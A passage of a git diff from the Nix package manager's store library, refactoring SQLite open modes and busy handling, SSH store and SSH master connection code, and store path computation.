? "" : "at offset " + std::to_string(offset) + ": "; - err.msg = hintfmt("%s: %s%s, %s (in '%s')", - normaltxt(hf.str()), + err.msg = HintFmt("%s: %s%s, %s (in '%s')", + Uncolored(hf.str()), offsetStr, sqlite3_errstr(extendedErrNo), errMsg, path ? path : "(in-memory)"); } -[[noreturn]] void SQLiteError::throw_(sqlite3 * db, hintformat && hf) +[[noreturn]] void SQLiteError::throw_(sqlite3 * db, HintFmt && hf) { int err = sqlite3_errcode(db); int exterr = sqlite3_extended_errcode(db); @@ -31,7 +34,7 @@ SQLiteError::SQLiteError(const char *path, const char *errMsg, int errNo, int ex if (err == SQLITE_BUSY || err == SQLITE_PROTOCOL) { auto exp = SQLiteBusy(path, errMsg, err, exterr, offset, std::move(hf)); - exp.err.msg = hintfmt( + exp.err.msg = HintFmt( err == SQLITE_PROTOCOL ? "SQLite database '%s' is busy (SQLITE_PROTOCOL)" : "SQLite database '%s' is busy", @@ -41,19 +44,39 @@ SQLiteError::SQLiteError(const char *path, const char *errMsg, int errNo, int ex throw SQLiteError(path, errMsg, err, exterr, offset, std::move(hf)); } -SQLite::SQLite(const Path & path, bool create) +static void traceSQL(void * x, const char * sql) +{ + // wacky delimiters: + // so that we're quite unambiguous without escaping anything + // notice instead of trace: + // so that this can be enabled without getting the firehose in our face. + notice("SQL<[%1%]>", sql); +}; + +SQLite::SQLite(const Path & path, SQLiteOpenMode mode) { // useSQLiteWAL also indicates what virtual file system we need. Using // `unix-dotfile` is needed on NFS file systems and on Windows' Subsystem // for Linux (WSL) where useSQLiteWAL should be false by default. const char *vfs = settings.useSQLiteWAL ? 0 : "unix-dotfile"; - if (sqlite3_open_v2(path.c_str(), &db, - SQLITE_OPEN_READWRITE | (create ? SQLITE_OPEN_CREATE : 0), vfs) != SQLITE_OK) - throw Error("cannot open SQLite database '%s'", path); + bool immutable = mode == SQLiteOpenMode::Immutable; + int flags = immutable ? SQLITE_OPEN_READONLY : SQLITE_OPEN_READWRITE; + if (mode == SQLiteOpenMode::Normal) flags |= SQLITE_OPEN_CREATE; + auto uri = "file:" + percentEncode(path) + "?immutable=" + (immutable ? "1" : "0"); + int ret = sqlite3_open_v2(uri.c_str(), &db, SQLITE_OPEN_URI | flags, vfs); + if (ret != SQLITE_OK) { + const char * err = sqlite3_errstr(ret); + throw Error("cannot open SQLite database '%s': %s", path, err); + } if (sqlite3_busy_timeout(db, 60 * 60 * 1000) != SQLITE_OK) SQLiteError::throw_(db, "setting timeout"); + if (getEnv("NIX_DEBUG_SQLITE_TRACES") == "1") { + // To debug sqlite statements; trace all of them + sqlite3_trace(db, &traceSQL, nullptr); + } + exec("pragma foreign_keys = 1"); } @@ -221,26 +244,21 @@ SQLiteTxn::~SQLiteTxn() } } -void handleSQLiteBusy(const SQLiteBusy & e) +void handleSQLiteBusy(const SQLiteBusy & e, time_t & nextWarning) { - static std::atomic lastWarned{0}; - time_t now = time(0); - - if (now > lastWarned + 10) { - lastWarned = now; + if (now > nextWarning) { + nextWarning = now + 10; logWarning({ - .msg = hintfmt(e.what()) + .msg = HintFmt(e.what()) }); } /* Sleep for a while since retrying the transaction right away is likely to fail again. */ checkInterrupt(); - struct timespec t; - t.tv_sec = 0; - t.tv_nsec = (random() % 100) * 1000 * 1000; /* <= 0.1s */ - nanosleep(&t, 0); + /* <= 0.1s */ + std::this_thread::sleep_for(std::chrono::milliseconds { rand() % 100 }); } } diff --git a/src/libstore/sqlite.hh b/src/libstore/sqlite.hh index 1853731a2..003e4d101 100644 --- a/src/libstore/sqlite.hh +++ b/src/libstore/sqlite.hh @@ -1,4 +1,5 @@ #pragma once +///@file #include #include @@ -10,19 +11,44 @@ struct sqlite3_stmt; namespace nix { -/* RAII wrapper to close a SQLite database automatically. */ +enum class SQLiteOpenMode { + /** + * Open the database in read-write mode. + * If the database does not exist, it will be created. + */ + Normal, + /** + * Open the database in read-write mode. + * Fails with an error if the database does not exist. + */ + NoCreate, + /** + * Open the database in immutable mode. + * In addition to the database being read-only, + * no wal or journal files will be created by sqlite. + * Use this mode if the database is on a read-only filesystem. + * Fails with an error if the database does not exist. + */ + Immutable, +}; + +/** + * RAII wrapper to close a SQLite database automatically. + */ struct SQLite { sqlite3 * db = 0; SQLite() { } - SQLite(const Path & path, bool create = true); + SQLite(const Path & path, SQLiteOpenMode mode = SQLiteOpenMode::Normal); SQLite(const SQLite & from) = delete; SQLite& operator = (const SQLite & from) = delete; SQLite& operator = (SQLite && from) { db = from.db; from.db = 0; return *this; } ~SQLite(); operator sqlite3 * () { return db; } - /* Disable synchronous mode, set truncate journal mode. */ + /** + * Disable synchronous mode, set truncate journal mode. + */ void isCache(); void exec(const std::string & stmt); @@ -30,7 +56,9 @@ struct SQLite uint64_t getLastInsertedRowId(); }; -/* RAII wrapper to create and destroy SQLite prepared statements. */ +/** + * RAII wrapper to create and destroy SQLite prepared statements. + */ struct SQLiteStmt { sqlite3 * db = 0; @@ -42,7 +70,9 @@ struct SQLiteStmt ~SQLiteStmt(); operator sqlite3_stmt * () { return stmt; } - /* Helper for binding / executing statements. */ + /** + * Helper for binding / executing statements. + */ class Use { friend struct SQLiteStmt; @@ -55,7 +85,9 @@ struct SQLiteStmt ~Use(); - /* Bind the next parameter. */ + /** + * Bind the next parameter. + */ Use & operator () (std::string_view value, bool notNull = true); Use & operator () (const unsigned char * data, size_t len, bool notNull = true); Use & operator () (int64_t value, bool notNull = true); @@ -63,11 +95,15 @@ struct SQLiteStmt int step(); - /* Execute a statement that does not return rows. */ + /** + * Execute a statement that does not return rows. + */ void exec(); - /* For statements that return 0 or more rows. Returns true iff - a row is available. */ + /** + * For statements that return 0 or more rows. Returns true iff + * a row is available. + */ bool next(); std::string getStr(int col); @@ -81,8 +117,10 @@ struct SQLiteStmt } }; -/* RAII helper that ensures transactions are aborted unless explicitly - committed. */ +/** + * RAII helper that ensures transactions are aborted unless explicitly + * committed. + */ struct SQLiteTxn { bool active = false; @@ -104,36 +142,40 @@ struct SQLiteError : Error template [[noreturn]] static void throw_(sqlite3 * db, const std::string & fs, const Args & ... args) { - throw_(db, hintfmt(fs, args...)); + throw_(db, HintFmt(fs, args...)); } - SQLiteError(const char *path, const char *errMsg, int errNo, int extendedErrNo, int offset, hintformat && hf); + SQLiteError(const char *path, const char *errMsg, int errNo, int extendedErrNo, int offset, HintFmt && hf); protected: template SQLiteError(const char *path, const char *errMsg, int errNo, int extendedErrNo, int offset, const std::string & fs, const Args & ... args) - : SQLiteError(path, errNo, extendedErrNo, offset, hintfmt(fs, args...)) + : SQLiteError(path, errMsg, errNo, extendedErrNo, offset, HintFmt(fs, args...)) { } - [[noreturn]] static void throw_(sqlite3 * db, hintformat && hf); + [[noreturn]] static void throw_(sqlite3 * db, HintFmt && hf); }; MakeError(SQLiteBusy, SQLiteError); -void handleSQLiteBusy(const SQLiteBusy & e); +void handleSQLiteBusy(const SQLiteBusy & e, time_t & nextWarning); -/* Convenience function for retrying a SQLite transaction when the - database is busy. */ +/** + * Convenience function for retrying a SQLite transaction when the + * database is busy. + */ template T retrySQLite(F && fun) { + time_t nextWarning = time(0) + 1; + while (true) { try { return fun(); } catch (SQLiteBusy & e) { - handleSQLiteBusy(e); + handleSQLiteBusy(e, nextWarning); } } } diff --git a/src/libstore/ssh-store.cc b/src/libstore/ssh-store.cc index 62daa838c..954a97467 100644 --- a/src/libstore/ssh-store.cc +++ b/src/libstore/ssh-store.cc @@ -1,62 +1,62 @@ -#include "store-api.hh" -#include "remote-store.hh" -#include "remote-fs-accessor.hh" +#include "ssh-store.hh" +#include "local-fs-store.hh" +#include "remote-store-connection.hh" +#include "source-accessor.hh" #include "archive.hh" #include "worker-protocol.hh" +#include "worker-protocol-impl.hh" #include "pool.hh" #include "ssh.hh" namespace nix { -struct SSHStoreConfig : virtual RemoteStoreConfig +SSHStoreConfig::SSHStoreConfig( + std::string_view scheme, + std::string_view authority, + const Params & params) + : StoreConfig(params) + , RemoteStoreConfig(params) + , CommonSSHStoreConfig(scheme, authority, params) { - using RemoteStoreConfig::RemoteStoreConfig; +} - const Setting sshKey{(StoreConfig*) this, "", "ssh-key", "path to an SSH private key"}; - const Setting sshPublicHostKey{(StoreConfig*) this, "", "base64-ssh-public-host-key", "The public half of the host's SSH key"}; - const Setting compress{(StoreConfig*) this, false, "compress", "whether to compress the connection"}; - const Setting remoteProgram{(StoreConfig*) this, "nix-daemon", "remote-program", "path to the nix-daemon executable on the remote system"}; - const Setting remoteStore{(StoreConfig*) this, "", "remote-store", "URI of the store on the remote system"}; - - const std::string name() override { return "SSH Store"; } -}; +std::string SSHStoreConfig::doc() +{ + return + #include "ssh-store.md" + ; +} class SSHStore : public virtual SSHStoreConfig, public virtual RemoteStore { public: - SSHStore(const std::string & scheme, const std::string & host, const Params & params) + SSHStore( + std::string_view scheme, + std::string_view host, + const Params & params) : StoreConfig(params) , RemoteStoreConfig(params) - , SSHStoreConfig(params) + , CommonSSHStoreConfig(scheme, host, params) + , SSHStoreConfig(scheme, host, params) , Store(params) , RemoteStore(params) - , host(host) - , master( - host, - sshKey, - sshPublicHostKey, + , master(createSSHMaster( // Use SSH master only if using more than 1 connection. - connections->capacity() > 1, - compress) + connections->capacity() > 1)) { } - static std::set uriSchemes() { return {"ssh-ng"}; } - std::string getUri() override { return *uriSchemes().begin() + "://" + host; } - bool sameMachine() override - { return false; } - // FIXME extend daemon protocol, move implementation to RemoteStore - std::optional getBuildLog(const StorePath & path) override - { unsupported("getBuildLog"); } + std::optional getBuildLogExact(const StorePath & path) override + { unsupported("getBuildLogExact"); } -private: +protected: struct Connection : RemoteStore::Connection { @@ -72,6 +72,8 @@ private: std::string host; + std::vector extraRemoteProgramArgs; + SSHMaster master; void setOptions(RemoteStore::Connection & conn) override @@ -85,17 +87,135 @@ private: }; }; + +MountedSSHStoreConfig::MountedSSHStoreConfig(StringMap params) + : StoreConfig(params) + , RemoteStoreConfig(params) + , CommonSSHStoreConfig(params) + , SSHStoreConfig(params) + , LocalFSStoreConfig(params) +{ +} + +MountedSSHStoreConfig::MountedSSHStoreConfig(std::string_view scheme, std::string_view host, StringMap params) + : StoreConfig(params) + , RemoteStoreConfig(params) + , CommonSSHStoreConfig(scheme, host, params) + , SSHStoreConfig(params) + , LocalFSStoreConfig(params) +{ +} + +std::string MountedSSHStoreConfig::doc() +{ + return + #include "mounted-ssh-store.md" + ; +} + + +/** + * The mounted ssh store assumes that filesystems on the remote host are + * shared with the local host. This means that the remote nix store is + * available locally and is therefore treated as a local filesystem + * store. + * + * MountedSSHStore is very similar to UDSRemoteStore --- ignoring the + * superficial differnce of SSH vs Unix domain sockets, they both are + * accessing remote stores, and they both assume the store will be + * mounted in the local filesystem. + * + * The difference lies in how they manage GC roots. See addPermRoot + * below for details. + */ +class MountedSSHStore : public virtual MountedSSHStoreConfig, public virtual SSHStore, public virtual LocalFSStore +{ +public: + + MountedSSHStore( + std::string_view scheme, + std::string_view host, + const Params & params) + : StoreConfig(params) + , RemoteStoreConfig(params) + , CommonSSHStoreConfig(scheme, host, params) + , SSHStoreConfig(params) + , LocalFSStoreConfig(params) + , MountedSSHStoreConfig(params) + , Store(params) + , RemoteStore(params) + , SSHStore(scheme, host, params) + , LocalFSStore(params) + { + extraRemoteProgramArgs = { + "--process-ops", + }; + } + + std::string getUri() override + { + return *uriSchemes().begin() + "://" + host; + } + + void narFromPath(const StorePath & path, Sink & sink) override + { + return LocalFSStore::narFromPath(path, sink); + } + + ref getFSAccessor(bool requireValidPath) override + { + return LocalFSStore::getFSAccessor(requireValidPath); + } + + std::optional getBuildLogExact(const StorePath & path) override + { + return LocalFSStore::getBuildLogExact(path); + } + + /** + * This is the key difference from UDSRemoteStore: UDSRemote store + * has the client create the direct root, and the remote side create + * the indirect root. + * + * We could also do that, but the race conditions (will the remote + * side see the direct root the client made?) seems bigger. + * + * In addition, the remote-side will have a process associated with + * the authenticating user handling the connection (even if there + * is a system-wide daemon or similar). This process can safely make + * the direct and indirect roots without there being such a risk of + * privilege escalation / symlinks in directories owned by the + * originating requester that they cannot delete. + */ + Path addPermRoot(const StorePath & path, const Path & gcRoot) override + { + auto conn(getConnection()); + conn->to << WorkerProto::Op::AddPermRoot; + WorkerProto::write(*this, *conn, path); + WorkerProto::write(*this, *conn, gcRoot); + conn.processStderr(); + return readString(conn->from); + } +}; + ref SSHStore::openConnection() { auto conn = make_ref(); - conn->sshConn = master.startCommand( - fmt("%s --stdio", remoteProgram) - + (remoteStore.get() == "" ? "" : " --store " + shellEscape(remoteStore.get()))); + Strings command = remoteProgram.get(); + command.push_back("--stdio"); + if (remoteStore.get() != "") { + command.push_back("--store"); + command.push_back(remoteStore.get()); + } + command.insert(command.end(), + extraRemoteProgramArgs.begin(), extraRemoteProgramArgs.end()); + conn->sshConn = master.startCommand(std::move(command)); conn->to = FdSink(conn->sshConn->in.get()); conn->from = FdSource(conn->sshConn->out.get()); return conn; } static RegisterStoreImplementation regSSHStore; +static RegisterStoreImplementation regMountedSSHStore; } diff --git a/src/libstore/ssh-store.hh b/src/libstore/ssh-store.hh new file mode 100644 index 000000000..29a2a8b2c --- /dev/null +++ b/src/libstore/ssh-store.hh @@ -0,0 +1,61 @@ +#pragma once +///@file + +#include "common-ssh-store-config.hh" +#include "store-api.hh" +#include "local-fs-store.hh" +#include "remote-store.hh" + +namespace nix { + +struct SSHStoreConfig : virtual RemoteStoreConfig, virtual CommonSSHStoreConfig +{ + using CommonSSHStoreConfig::CommonSSHStoreConfig; + using RemoteStoreConfig::RemoteStoreConfig; + + SSHStoreConfig(std::string_view scheme, std::string_view authority, const Params & params); + + const Setting remoteProgram{ + this, {"nix-daemon"}, "remote-program", "Path to the `nix-daemon` executable on the remote machine."}; + + const std::string name() override + { + return "Experimental SSH Store"; + } + + static std::set uriSchemes() + { + return {"ssh-ng"}; + } + + std::string doc() override; +}; + +struct MountedSSHStoreConfig : virtual SSHStoreConfig, virtual LocalFSStoreConfig +{ + using LocalFSStoreConfig::LocalFSStoreConfig; + using SSHStoreConfig::SSHStoreConfig; + + MountedSSHStoreConfig(StringMap params); + + MountedSSHStoreConfig(std::string_view scheme, std::string_view host, StringMap params); + + const std::string name() override + { + return "Experimental SSH Store with filesystem mounted"; + } + + static std::set uriSchemes() + { + return {"mounted-ssh-ng"}; + } + + std::string doc() override; + + std::optional experimentalFeature() const override + { + return ExperimentalFeature::MountedSSHStore; + } +}; + +} diff --git a/src/libstore/ssh-store.md b/src/libstore/ssh-store.md new file mode 100644 index 000000000..881537e71 --- /dev/null +++ b/src/libstore/ssh-store.md @@ -0,0 +1,8 @@ +R"( + +**Store URL format**: `ssh-ng://[username@]hostname` + +Experimental store type that allows full access to a Nix store on a +remote machine. + +)" diff --git a/src/libstore/ssh.cc b/src/libstore/ssh.cc index 69bfe3418..e5d623adf 100644 --- a/src/libstore/ssh.cc +++ b/src/libstore/ssh.cc @@ -1,8 +1,16 @@ #include "ssh.hh" +#include "finally.hh" +#include "current-process.hh" +#include "environment-variables.hh" +#include "util.hh" namespace nix { -SSHMaster::SSHMaster(const std::string & host, const std::string & keyFile, const std::string & sshPublicHostKey, bool useMaster, bool compress, int logFD) +SSHMaster::SSHMaster( + std::string_view host, + std::string_view keyFile, + std::string_view sshPublicHostKey, + bool useMaster, bool compress, Descriptor logFD) : host(host) , fakeSSH(host == "localhost") , keyFile(keyFile) @@ -27,18 +35,33 @@ void SSHMaster::addCommonSSHOpts(Strings & args) if (!keyFile.empty()) args.insert(args.end(), {"-i", keyFile}); if (!sshPublicHostKey.empty()) { - Path fileName = (Path) *state->tmpDir + "/host-key"; + std::filesystem::path fileName = state->tmpDir->path() / "host-key"; auto p = host.rfind("@"); std::string thost = p != std::string::npos ? std::string(host, p + 1) : host; - writeFile(fileName, thost + " " + base64Decode(sshPublicHostKey) + "\n"); - args.insert(args.end(), {"-oUserKnownHostsFile=" + fileName}); + writeFile(fileName.string(), thost + " " + base64Decode(sshPublicHostKey) + "\n"); + args.insert(args.end(), {"-oUserKnownHostsFile=" + fileName.string()}); } if (compress) args.push_back("-C"); + + args.push_back("-oPermitLocalCommand=yes"); + args.push_back("-oLocalCommand=echo started"); } -std::unique_ptr SSHMaster::startCommand(const std::string & command) +bool SSHMaster::isMasterRunning() { + Strings args = {"-O", "check", host}; + addCommonSSHOpts(args); + + auto res = runProgram(RunOptions {.program = "ssh", .args = args, .mergeStderrToStdout = true}); + return res.first == 0; +} + +std::unique_ptr SSHMaster::startCommand( + Strings && command, Strings && extraSshArgs) { +#ifdef _WIN32 // TODO re-enable on Windows, once we can start processes. + throw UnimplementedError("cannot yet SSH on windows because spawning processes is not yet implemented"); +#else Path socketPath = startMaster(); Pipe in, out; @@ -49,6 +72,11 @@ std::unique_ptr SSHMaster::startCommand(const std::string ProcessOptions options; options.dieWithParent = false; + if (!fakeSSH && !useMaster) { + logger->pause(); + } + Finally cleanup = [&]() { logger->resume(); }; + conn->sshPid = startProcess([&]() { restoreProcessContext(); @@ -64,18 +92,19 @@ std::unique_ptr SSHMaster::startCommand(const std::string Strings args; - if (fakeSSH) { - args = { "bash", "-c" }; - } else { + if (!fakeSSH) { args = { "ssh", host.c_str(), "-x" }; addCommonSSHOpts(args); if (socketPath != "") args.insert(args.end(), {"-S", socketPath}); if (verbosity >= lvlChatty) args.push_back("-v"); + args.splice(args.end(), std::move(extraSshArgs)); + args.push_back("--"); } - args.push_back(command); + args.splice(args.end(), std::move(command)); + execvp(args.begin()->c_str(), stringsToCharPtrs(args).data()); // could not exec ssh/bash @@ -83,23 +112,39 @@ std::unique_ptr SSHMaster::startCommand(const std::string }, options); - in.readSide = -1; - out.writeSide = -1; + in.readSide = INVALID_DESCRIPTOR; + out.writeSide = INVALID_DESCRIPTOR; + + // Wait for the SSH connection to be established, + // So that we don't overwrite the password prompt with our progress bar. + if (!fakeSSH && !useMaster && !isMasterRunning()) { + std::string reply; + try { + reply = readLine(out.readSide.get()); + } catch (EndOfFile & e) { } + + if (reply != "started") { + printTalkative("SSH stdout first line: %s", reply); + throw Error("failed to start SSH connection to '%s'", host); + } + } conn->out = std::move(out.readSide); conn->in = std::move(in.writeSide); return conn; +#endif } +#ifndef _WIN32 // TODO re-enable on Windows, once we can start processes. + Path SSHMaster::startMaster() { if (!useMaster) return ""; auto state(state_.lock()); - if (state->sshMaster != -1) return state->socketPath; - + if (state->sshMaster != INVALID_DESCRIPTOR) return state->socketPath; state->socketPath = (Path) *state->tmpDir + "/ssh.sock"; @@ -109,6 +154,12 @@ Path SSHMaster::startMaster() ProcessOptions options; options.dieWithParent = false; + logger->pause(); + Finally cleanup = [&]() { logger->resume(); }; + + if (isMasterRunning()) + return state->socketPath; + state->sshMaster = startProcess([&]() { restoreProcessContext(); @@ -117,11 +168,7 @@ Path SSHMaster::startMaster() if (dup2(out.writeSide.get(), STDOUT_FILENO) == -1) throw SysError("duping over stdout"); - Strings args = - { "ssh", host.c_str(), "-M", "-N", "-S", state->socketPath - , "-o", "LocalCommand=echo started" - , "-o", "PermitLocalCommand=yes" - }; + Strings args = { "ssh", host.c_str(), "-M", "-N", "-S", state->socketPath }; if (verbosity >= lvlChatty) args.push_back("-v"); addCommonSSHOpts(args); @@ -130,17 +177,21 @@ Path SSHMaster::startMaster() throw SysError("unable to execute '%s'", args.front()); }, options); - out.writeSide = -1; + out.writeSide = INVALID_DESCRIPTOR; std::string reply; try { reply = readLine(out.readSide.get()); } catch (EndOfFile & e) { } - if (reply != "started") + if (reply != "started") { + printTalkative("SSH master stdout first line: %s", reply); throw Error("failed to start SSH master connection to '%s'", host); + } return state->socketPath; } +#endif + } diff --git a/src/libstore/ssh.hh b/src/libstore/ssh.hh index dabbcedda..19b30e883 100644 --- a/src/libstore/ssh.hh +++ b/src/libstore/ssh.hh @@ -1,7 +1,9 @@ #pragma once +///@file -#include "util.hh" #include "sync.hh" +#include "processes.hh" +#include "file-system.hh" namespace nix { @@ -15,11 +17,13 @@ private: const std::string sshPublicHostKey; const bool useMaster; const bool compress; - const int logFD; + const Descriptor logFD; struct State { +#ifndef _WIN32 // TODO re-enable on Windows, once we can start processes. Pid sshMaster; +#endif std::unique_ptr tmpDir; Path socketPath; }; @@ -27,20 +31,38 @@ private: Sync state_; void addCommonSSHOpts(Strings & args); + bool isMasterRunning(); + +#ifndef _WIN32 // TODO re-enable on Windows, once we can start processes. + Path startMaster(); +#endif public: - SSHMaster(const std::string & host, const std::string & keyFile, const std::string & sshPublicHostKey, bool useMaster, bool compress, int logFD = -1); + SSHMaster( + std::string_view host, + std::string_view keyFile, + std::string_view sshPublicHostKey, + bool useMaster, bool compress, Descriptor logFD = INVALID_DESCRIPTOR); struct Connection { +#ifndef _WIN32 // TODO re-enable on Windows, once we can start processes. Pid sshPid; +#endif AutoCloseFD out, in; }; - std::unique_ptr startCommand(const std::string & command); - - Path startMaster(); + /** + * @param command The command (arg vector) to execute. + * + * @param extraSShArgs Extra args to pass to SSH (not the command to + * execute). Will not be used when "fake SSHing" to the local + * machine. + */ + std::unique_ptr startCommand( + Strings && command, + Strings && extraSshArgs = {}); }; } diff --git a/src/libstore/store-api.cc b/src/libstore/store-api.cc index 80b60ca1b..8eef340cc 100644 --- a/src/libstore/store-api.cc +++ b/src/libstore/store-api.cc @@ -1,31 +1,41 @@ -#include "crypto.hh" -#include "fs-accessor.hh" +#include "signature/local-keys.hh" +#include "source-accessor.hh" #include "globals.hh" +#include "derived-path.hh" +#include "realisation.hh" #include "derivations.hh" #include "store-api.hh" #include "util.hh" #include "nar-info-disk-cache.hh" #include "thread-pool.hh" -#include "url.hh" +#include "references.hh" #include "archive.hh" #include "callback.hh" -#include "remote-store.hh" +#include "git.hh" +#include "posix-source-accessor.hh" +// FIXME this should not be here, see TODO below on +// `addMultipleToStore`. +#include "worker-protocol.hh" +#include "signals.hh" +#include "users.hh" +#include #include -#include + +#include "strings.hh" using json = nlohmann::json; namespace nix { -bool Store::isInStore(PathView path) const +bool StoreDirConfig::isInStore(PathView path) const { return isInDir(path, storeDir); } -std::pair Store::toStorePath(PathView path) const +std::pair StoreDirConfig::toStorePath(PathView path) const { if (!isInStore(path)) throw Error("path '%1%' is not in the Nix store", path); @@ -41,7 +51,7 @@ Path Store::followLinksToStore(std::string_view _path) const { Path path = absPath(std::string(_path)); while (!isInStore(path)) { - if (!isLink(path)) break; + if (!std::filesystem::is_symlink(path)) break; auto target = readLink(path); path = absPath(target, dirOf(path)); } @@ -57,207 +67,159 @@ StorePath Store::followLinksToStorePath(std::string_view path) const } -/* Store paths have the following form: +/* +The exact specification of store paths is in `protocols/store-path.md` +in the Nix manual. These few functions implement that specification. - = /- - - where - - = the location of the Nix store, usually /nix/store - - = a human readable name for the path, typically obtained - from the name attribute of the derivation, or the name of the - source file from which the store path is created. For derivation - outputs other than the default "out" output, the string "-" - is suffixed to . - - = base-32 representation of the first 160 bits of a SHA-256 - hash of ; the hash part of the store name - - = the string ":sha256:

::"; - note that it includes the location of the store as well as the - name to make sure that changes to either of those are reflected - in the hash (e.g. you won't get /nix/store/-name1 and - /nix/store/-name2 with equal hash parts). - - = one of: - "text:::..." - for plain text files written to the store using - addTextToStore(); ... are the store paths referenced - by this path, in the form described by - "source:::...::self" - for paths copied to the store using addToStore() when recursive - = true and hashAlgo = "sha256". Just like in the text case, we - can have the store paths referenced by the path. - Additionally, we can have an optional :self label to denote self - reference. - "output:" - for either the outputs created by derivations, OR paths copied - to the store using addToStore() with recursive != true or - hashAlgo != "sha256" (in that case "source" is used; it's - silly, but it's done that way for compatibility). is the - name of the output (usually, "out"). - -

= base-16 representation of a SHA-256 hash of: - if = "text:...": - the string written to the resulting store path - if = "source": - the serialisation of the path from which this store path is - copied, as returned by hashPath() - if = "output:": - for non-fixed derivation outputs: - the derivation (see hashDerivationModulo() in - primops.cc) - for paths copied by addToStore() or produced by fixed-output - derivations: - the string "fixed:out:::", where - = "r:" for recursive (path) hashes, or "" for flat - (file) hashes - = "md5", "sha1" or "sha256" - = base-16 representation of the path or flat hash of - the contents of the path (or expected contents of the - path for fixed-output derivations) - - Note that since an output derivation has always type output, while - something added by addToStore can have type output or source depending - on the hash, this means that the same input can be hashed differently - if added to the store via addToStore or via a derivation, in the sha256 - recursive case. - - It would have been nicer to handle fixed-output derivations under - "source", e.g. have something like "source:", but we're - stuck with this for now... - - The main reason for this way of computing names is to prevent name - collisions (for security). For instance, it shouldn't be feasible - to come up with a derivation whose output path collides with the - path for a copied source. The former would have a starting with - "output:out:", while the latter would have a starting with - "source:". +If changes to these functions go beyond mere implementation changes i.e. +also update the user-visible behavior, please update the specification +to match. */ -StorePath Store::makeStorePath(std::string_view type, +StorePath StoreDirConfig::makeStorePath(std::string_view type, std::string_view hash, std::string_view name) const { /* e.g., "source:sha256:1abc...:/nix/store:foo.tar.gz" */ auto s = std::string(type) + ":" + std::string(hash) + ":" + storeDir + ":" + std::string(name); - auto h = compressHash(hashString(htSHA256, s), 20); + auto h = compressHash(hashString(HashAlgorithm::SHA256, s), 20); return StorePath(h, name); } -StorePath Store::makeStorePath(std::string_view type, +StorePath StoreDirConfig::makeStorePath(std::string_view type, const Hash & hash, std::string_view name) const { - return makeStorePath(type, hash.to_string(Base16, true), name); + return makeStorePath(type, hash.to_string(HashFormat::Base16, true), name); } -StorePath Store::makeOutputPath(std::string_view id, +StorePath StoreDirConfig::makeOutputPath(std::string_view id, const Hash & hash, std::string_view name) const { return makeStorePath("output:" + std::string { id }, hash, outputPathName(name, id)); } +/* Stuff the references (if any) into the type. This is a bit + hacky, but we can't put them in, say, (per the grammar above) + since that would be ambiguous. */ static std::string makeType( - const Store & store, + const StoreDirConfig & store, std::string && type, - const StorePathSet & references, - bool hasSelfReference = false) + const StoreReferences & references) { - for (auto & i : references) { + for (auto & i : references.others) { type += ":"; type += store.printStorePath(i); } - if (hasSelfReference) type += ":self"; + if (references.self) type += ":self"; return std::move(type); } -StorePath Store::makeFixedOutputPath( - FileIngestionMethod method, - const Hash & hash, - std::string_view name, - const StorePathSet & references, - bool hasSelfReference) const +StorePath StoreDirConfig::makeFixedOutputPath(std::string_view name, const FixedOutputInfo & info) const { - if (hash.type == htSHA256 && method == FileIngestionMethod::Recursive) { - return makeStorePath(makeType(*this, "source", references, hasSelfReference), hash, name); + if (info.method == FileIngestionMethod::Git && info.hash.algo != HashAlgorithm::SHA1) + throw Error("Git file ingestion must use SHA-1 hash"); + + if (info.hash.algo == HashAlgorithm::SHA256 && info.method == FileIngestionMethod::NixArchive) { + return makeStorePath(makeType(*this, "source", info.references), info.hash, name); } else { - assert(references.empty()); - return makeStorePath("output:out", - hashString(htSHA256, - "fixed:out:" - + makeFileIngestionPrefix(method) - + hash.to_string(Base16, true) + ":"), - name); + if (!info.references.empty()) { + throw Error("fixed output derivation '%s' is not allowed to refer to other store paths.\nYou may need to use the 'unsafeDiscardReferences' derivation attribute, see the manual for more details.", + name); + } + // make a unique digest based on the parameters for creating this store object + auto payload = "fixed:out:" + + makeFileIngestionPrefix(info.method) + + info.hash.to_string(HashFormat::Base16, true) + ":"; + auto digest = hashString(HashAlgorithm::SHA256, payload); + return makeStorePath("output:out", digest, name); } } -StorePath Store::makeFixedOutputPathFromCA(std::string_view name, ContentAddress ca, - const StorePathSet & references, bool hasSelfReference) const + +StorePath StoreDirConfig::makeFixedOutputPathFromCA(std::string_view name, const ContentAddressWithReferences & ca) const { // New template return std::visit(overloaded { - [&](const TextHash & th) { - return makeTextPath(name, th.hash, references); + [&](const TextInfo & ti) { + assert(ti.hash.algo == HashAlgorithm::SHA256); + return makeStorePath( + makeType(*this, "text", StoreReferences { + .others = ti.references, + .self = false, + }), + ti.hash, + name); }, - [&](const FixedOutputHash & fsh) { - return makeFixedOutputPath(fsh.method, fsh.hash, name, references, hasSelfReference); + [&](const FixedOutputInfo & foi) { + return makeFixedOutputPath(name, foi); } - }, ca); -} - -StorePath Store::makeTextPath(std::string_view name, const Hash & hash, - const StorePathSet & references) const -{ - assert(hash.type == htSHA256); - /* Stuff the references (if any) into the type. This is a bit - hacky, but we can't put them in `s' since that would be - ambiguous. */ - return makeStorePath(makeType(*this, "text", references), hash, name); + }, ca.raw); } -std::pair Store::computeStorePathForPath(std::string_view name, - const Path & srcPath, FileIngestionMethod method, HashType hashAlgo, PathFilter & filter) const -{ - Hash h = method == FileIngestionMethod::Recursive - ? hashPath(hashAlgo, srcPath, filter).first - : hashFile(hashAlgo, srcPath); - return std::make_pair(makeFixedOutputPath(method, h, name), h); -} - - -StorePath Store::computeStorePathForText( +std::pair StoreDirConfig::computeStorePath( std::string_view name, - std::string_view s, - const StorePathSet & references) const + const SourcePath & path, + ContentAddressMethod method, + HashAlgorithm hashAlgo, + const StorePathSet & references, + PathFilter & filter) const { - return makeTextPath(name, hashString(htSHA256, s), references); + auto [h, size] = hashPath(path, method.getFileIngestionMethod(), hashAlgo, filter); + if (size && *size >= settings.warnLargePathThreshold) + warn("hashed large path '%s' (%s)", path, renderSize(*size)); + return { + makeFixedOutputPathFromCA( + name, + ContentAddressWithReferences::fromParts( + method, + h, + { + .others = references, + .self = false, + })), + h, + }; } StorePath Store::addToStore( std::string_view name, - const Path & _srcPath, - FileIngestionMethod method, - HashType hashAlgo, + const SourcePath & path, + ContentAddressMethod method, + HashAlgorithm hashAlgo, + const StorePathSet & references, PathFilter & filter, - RepairFlag repair, - const StorePathSet & references) + RepairFlag repair) { - Path srcPath(absPath(_srcPath)); - auto source = sinkToSource([&](Sink & sink) { - if (method == FileIngestionMethod::Recursive) - dumpPath(srcPath, sink, filter); - else - readFile(srcPath, sink); + FileSerialisationMethod fsm; + switch (method.getFileIngestionMethod()) { + case FileIngestionMethod::Flat: + fsm = 